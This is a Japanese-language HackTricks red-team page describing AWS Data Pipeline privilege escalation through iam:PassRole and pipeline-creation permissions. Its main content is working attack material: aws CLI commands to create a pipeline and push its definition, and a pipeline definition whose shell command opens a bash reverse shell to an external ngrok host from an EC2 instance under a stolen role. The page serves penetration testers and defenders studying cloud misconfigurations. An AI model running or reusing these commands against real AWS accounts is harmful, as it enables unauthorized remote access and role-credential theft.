AWS - Datapipeline Privesc

htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ

HackTricksをサポートする他の方法:

datapipeline

datapipelineに関する詳細情報は次を参照してください:

pageAWS - DataPipeline, CodePipeline & CodeCommit Enum

iam:PassRole, datapipeline:CreatePipeline, datappipeline:PutPipelineDefinition, datapipeline:ActivatePipeline

これらの権限を持つユーザーは、Data Pipelineを作成して割り当てられたロールの権限を使用して任意のコマンドを実行することで特権を昇格させることができます。

aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string

パイプラインの作成後、攻撃者はその定義を更新して特定のアクションやリソースの作成を指示します:

{
"objects": [
{
"id" : "CreateDirectory",
"type" : "ShellCommandActivity",
"command" : "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'",
"runsOn" : {"ref": "instance"}
},
{
"id": "Default",
"scheduleType": "ondemand",
"failureAndRerunMode": "CASCADE",
"name": "Default",
"role": "assumable_datapipeline",
"resourceRole": "assumable_datapipeline"
},
{
"id" : "instance",
"name" : "instance",
"type" : "Ec2Resource",
"actionOnTaskFailure" : "terminate",
"actionOnResourceFailure" : "retryAll",
"maximumRetries" : "1",
"instanceType" : "t2.micro",
"securityGroups" : ["default"],
"role" : "assumable_datapipeline",
"resourceRole" : "assumable_ec2_profile_instance"
}]
}

ライン14、15、27ロールは、datapipeline.amazonaws.comがアサムできるロールである必要があります。そして、ライン28のロールは、EC2プロファイルインスタンスを持つec2.amazonaws.comがアサムできるロールである必要があります。

さらに、EC2インスタンスは、EC2インスタンスがアサムできるロールにのみアクセスできるようになります(その1つだけを盗むことができます)。

```bash aws datapipeline put-pipeline-definition --pipeline-id \ --pipeline-definition file:///pipeline/definition.json ``` **攻撃者によって作成されたパイプライン定義ファイルには、AWS APIを介してコマンドを実行したりリソースを作成したりする指示が含まれており、Data Pipelineのロール権限を利用して追加の特権を獲得する可能性があります。**

潜在的な影響: 指定されたec2サービスロールへの直接特権昇格。

参考文献

**htARTE (HackTricks AWS Red Team Expert)**を通じて、ゼロからヒーローまでのAWSハッキングを学びましょう!

HackTricksをサポートする他の方法:

最終更新